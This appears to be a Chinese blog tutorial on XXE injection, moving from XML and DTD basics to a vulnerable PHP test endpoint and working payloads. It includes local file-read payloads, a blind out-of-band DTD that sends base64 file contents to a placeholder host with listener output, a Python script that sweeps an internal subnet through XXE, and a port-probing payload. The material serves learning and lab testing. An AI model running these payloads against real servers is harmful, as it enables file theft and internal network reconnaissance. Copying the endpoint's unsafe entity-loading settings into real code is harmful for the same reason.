XXE漏洞小结

前言

小结一下xxe的相关内容

XML简介

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。需要自行定义标签。
  • XML 被设计为具有自我描述性。

XML常见应用

1.XML的出现解决了程序间数据传输的问题:

比如QQ之间的数据传送,用XML格式来传送数据,具有良好的可读性,可维护性

2.XML可以做配置文件

XML文件做配置文件可以说非常普遍,比如Tomcat服务器的server.xml,web.xml。再比如structs中的structs-config.xml文件,和hibernate的hibernate.cfg.xml等等。

3.XML可以充当小型的数据库

XML文件可以做小型数据库,程序中可能用到一些经常要人工配置的数据,如果放在数据库中读取不合适(因为这会增加维护数据库的工作),则可以考虑直接用XML来做小型数据库。这种方式直接读取文件显然要比读数据库快。比如msn中保存用户聊天记录就是用XML文件。

XML基本语法

一个XML文件分为如下几部分内容:

  1. 文档声明
  2. 元素
  3. 属性
  4. 注释
  5. CDATA区、特殊字符
  6. 处理指令(processing instruction)

具体的介绍可以参考这篇博客https://blog.csdn.net/aidem_brown/article/details/82217481

这边提一下CDATA,是为了传输带有< > ' "这些字符的字符串内容,CDATA里的字符串不会被解析引擎解析

1
2
3
<![CDATA[
......
]]>

xml实体

XML中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在XML源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中

<!DOCTYPE root-element [element-declarations]>

带有DTD的XML文档实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

其他的以此类推

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE root-element SYSTEM "filename">

没有直接带有DTD的XML文档实例

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD定义实体

DTD不仅能定义元素(标签),还能定义实体(标签内的内容,可看成变量)

测试的xml文档

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe "r1dd1er" >]>
<user>&xxe;</user>

我们用浏览器访问可以看到

<user>r1dd1er</user>

&xxe对上面定义的 xxe 实体进行了引用,因此输出时被换成了我们定义的值

XXE简介

XXE,就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

进行一个最简单的测试

xml.php

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

post的值

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/phpstudy_pro/flag.txt"> ]>
<creds>&goodies;</creds>

结果是可以读取到flag.txt的内容

来个特殊点的情况

如果读取的文件里面含有< > ' "等字符,就不能直接读取,因为这些字符会被当做元素字符解析.如果想传输这些字符,就得将内容放在CDATA的里面

通过参数实体构造出一个<![CDATA[]]>,就可以将含有特殊字符的文件内容正常读取出来

但是不能直接将三个实体进行拼接,于是只能使用参数实体进行拼接

参数实体

参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容

post的值

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/phpstudy_pro/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/hack.dtd">
%dtd; ]>

<roottag>&all;</roottag>

hack.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

无回显读取本地敏感文件(Blind OOB XXE)

xml.php

1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

hack2.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpstudy_pro/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

post的值

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/hack2.dtd">
%remote;%int;%send;
]>

vps上收到了带出的数据

1
2
3
4
5
6
➜  html nc -lvvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from 192.168.75.1 58300 received!
GET /?p=ZmxhZ3t0aDFzXzFzX2FfdDNzdH0= HTTP/1.0
Host: 192.168.75.130:9999
Connection: close

具体的调用过程:%remote调用后,请求了远程服务器上的dtd文件,接下来,%int调用会触发%file,%file将目标机的敏感文件读取后放在一个get请求上形成一个请求链接,最后通过% send完成请求,将数据成功的外带到远程服务器上.

ps:很神奇的是,把恶意dtd文件放在虚拟机内可以正常加载,但是放在阿里云上就不行,暂时没找到原因

备份一下不同语言可利用的一些协议

内网主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

内网主机端口扫描

传入数据

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

通过回显来判断端口是否开启

java当中的利用

留个坑,暂时还不太会java,先参考https://xz.aliyun.com/t/3357#toc-14这篇文章的吧,本文的实验测试和一些代码都是参考这篇文章的,写的很详细

参考链接

https://xz.aliyun.com/t/3357#toc-0

https://blog.csdn.net/aidem_brown/article/details/82217481

https://www.runoob.com/dtd/dtd-intro.html

https://www.cnblogs.com/backlion/p/9302528.html